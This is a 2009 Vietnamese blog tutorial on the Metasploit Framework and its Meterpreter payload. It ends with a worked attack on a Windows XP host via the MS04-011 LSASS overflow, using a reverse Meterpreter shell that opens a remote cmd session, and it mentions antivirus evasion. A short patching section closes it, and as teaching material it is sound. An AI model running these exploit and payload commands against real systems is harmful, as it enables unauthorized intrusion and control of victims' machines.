Trao đổi với tôi

http://www.buidao.com

7/24/09

[Hacking] Metasploit - Công cụ khai thác lỗ hổng



METASPLOIT



1)  Giới thiệu



Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi của các service. Metasploit  được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại www.metasploit.com




Metasploit có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script msfupdate.bat trong thư mục cài đặt



2)Các thành phần của Metasploit



Metasploit hỗ trợ  nhiều giao diện với người dùng:



            -console interface: dùng msfconsole.bat.  Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn



-Web interface: dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web



-Command line interface: dùng msfcli.bat  



  Enviroment




            Global Enviroment:được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits



            Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác



  Bạn có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được lưu trong /.msf/config  và sẽ được load trở lại khi user interface được thực hiện



  Những options nào mà chung giữa các exploits module như là: LPORT, LHOST, PAYLOAD thì bạn nên được xác định ở Global Enviroment



     vd:  msf> setg LPORT 80



           msf> setg LHOST 172.16.8.2  




3)Sử dụng  Metasploit framework



            1. Chọn module exploit: lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác



                        show exploits: xem các module exploit mà framework có hỗ trợ




                        use  exploit_name: chọn module exploit



                        info   exploit_name: xem thông tin về module exploit




                    Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên www.metasploit.com hoặc qua script msfupdate.bat



            2. Cấu hình module exploit đã chọn



                        show options: Xác định những options nào cần cấu hình



                        set : cấu hình cho những option của module đó



                        Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh show advanceds



            3. Verify những options vừa cấu hình:



                        check: kiểm tra xem những option đã được set chính xác chưa.



            4. Lựa chọn target: lựa chọn hệ diều hành nào để thực hiện



                        show targets: những target được cung cấp bởi module đó



                        set: xác định target nào



                                    vd: smf> use windows_ssl_pct



                                                show targets



                        exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000, win2000 SP1



            5. Lựa chọn payload



                        payload là đoạn code mà sẽ chạy trên hệ thống remote machine




                        show payloads: liệt kê ra những payload của module exploit hiện tại



                        info payload_name: xem thông tin chi tiết về payload đó



                        set PAYLOAD payload_name: xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload đó




                        show advanced: xem những advanced options của payload đó



            6.Thực thi exploit



                        exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác  




4.Giới thiệu payload meterpreter



Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác, tấn câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object( DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống virus



Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote computers



            Fs: cho phép upload và download files từ các remote machine




            Net: cho phép xem thông tin mạng của remote machine như IP, route table



            Process:cho phép tạo các processes mới trên remote machine



            Sys: cho phép xem thông tin hệ thống của remote machine 




Sử dụng câu lệnh



            use -m module1,module2,module3 [ -p path ] [ -d ]



               Câu lệnh use dùng để load những module mở rộng của meterpreter như: Fs, Net, Process..           




            loadlib -f library [ -t target ] [ -lde ]     



               Câu lệnh cho phép load các thư viện của remote machines            



            read channel_id [length]



              Lệnh read cho phép xem dữ liêu của remote machine trên channel đang kết nối            



            write channel_id



              Lệnh write cho phép ghi dữ liệu lên remote machine 




            close channel_id



              Đóng channel mà đã kết nối với remote computer 



            interact channel_id



              Bắt đầu một phiên làm việc với channel vừa thiết lập với remote machine 




            initcrypt cipher [parameters]



              Mã hoá dữ liệu được gửi giữa host và remote machine 



Sử dụng module Fs: cho phép upload và download files từ các remote machine



            cd directory



              giống lệnh cd của commandline



            getcwd



              cho biết thư mục đang làm việc hiện tại



            ls [filter_string]



              liệt kê các thư mục và tập tin



            upload src1 [src2 ...] dst




              upload file



            download src1 [src2 ...] dst



              download file  




Sử dụng module Net:



            ipconfig



            route



               xem bảng định tuyến của remote machine



            portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p rport ] [ -P ]



               cho phép tạo port forward giữa host và remote machine




 





Sử dụng module Process:



            execute -f file [ -a args ] [ -Hc ]



               câu lệnh execute cho phép bạn tạo ra một process mới trên remote machine và sử dụng process đó để khai thác dữ liệu



            kill pid1 pid2 pid3



               huỷ những processes đang chạy trên máy remote machine



            ps



              liệt kê những process của remote machine 




Sử dụng module Sys:



            getuid



               cho biết username hiện tại của remote machine



            sysinfo



               cho biết thông tin về computername, OS 



5)Ví dụ:



 Máy localhost có địa chỉ 192.168.1.1 sẽ tấn công máy remote có địa chỉ 192.168.1.2 thông qua lỗi Lsass_ms04_011. Đây là lỗi tràn stack trong dịch vụ LSA( Local Security Authority).Lsass.exe là một process của hệ thống Microsoft Windows, chịu trách nhiệm về chứng thực local security, quản lý Active Directory  và các chính sách login. Lsass kiểm sóat việc chứng thực của cả client và server. 




                 Msf>use Lsass_ms04_011



                 Msf>set PAYLOAD  win32_reverse_meterpreter



                 Msf>set RHOST 192.168.1.2



                 Msf>set LHOST 192.168.1.1



                 Msf>exploit



                 Meterpreter> help



                 Meterpreter>use -m Process                  //add thêm tập lệnh của process



                 Meterpreter>help                                     // xem các lệnh meterpreter hỗ trợ



                 Meterpreter>ps                                        // list các process mà remote machine đang chạy



                 Meterpreter>kill                                      // tắt các process mà remote machine đang chạy



                Meterpreter> execute -f cmd –c           // tấn công sử dụng comandline cmd của remote machine



                             execute: success, process id is 3516.



                             execute: allocated channel 1 for new process.



                  meterpreter> interact 1




                              interact: Switching to interactive console on 1...



                              interact: Started interactive channel 1.



                              Microsoft Windows XP [Version 5.1.2600]



                             (C) Copyright 1985-2001 Microsoft Corp.



                              C:\WINDOWS>echo Meterpreter interactive channel in action




                              echo Meterpreter interactive channel in action



                              Meterpreter interactive channel in action



                  C:\WINDOWS>ipconfig



                  Caught Ctrl-C, close interactive session? [y/N] y



                   meterpreter>



6)Cách phòng chống




Thường xuyên cập nhật các bản vá lỗi của Microsofts. Ví dụ như để Metasploit không thể khai thác được lỗi Lsass_ms04_011, bạn phải cập nhật bản vá lỗi của Microsoft. Theo Microsoft đánh giá, đây là một lỗi nghiêm trọng, có trên hầu hết tất cả các hệ điều hành windows. Bạn nên sử dụng hotfix có number là 835732 để vá lỗi trên.         




   http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx








Quản Trị Mạng và bạn đọc cảm ơn bạn:
Viking -
(ENS Group) - Adminvietnam (www.vuevietnam.com/forum) đã hợp tác gửi bài viết này
E
mail: thanhtung22@gmail.com







Viking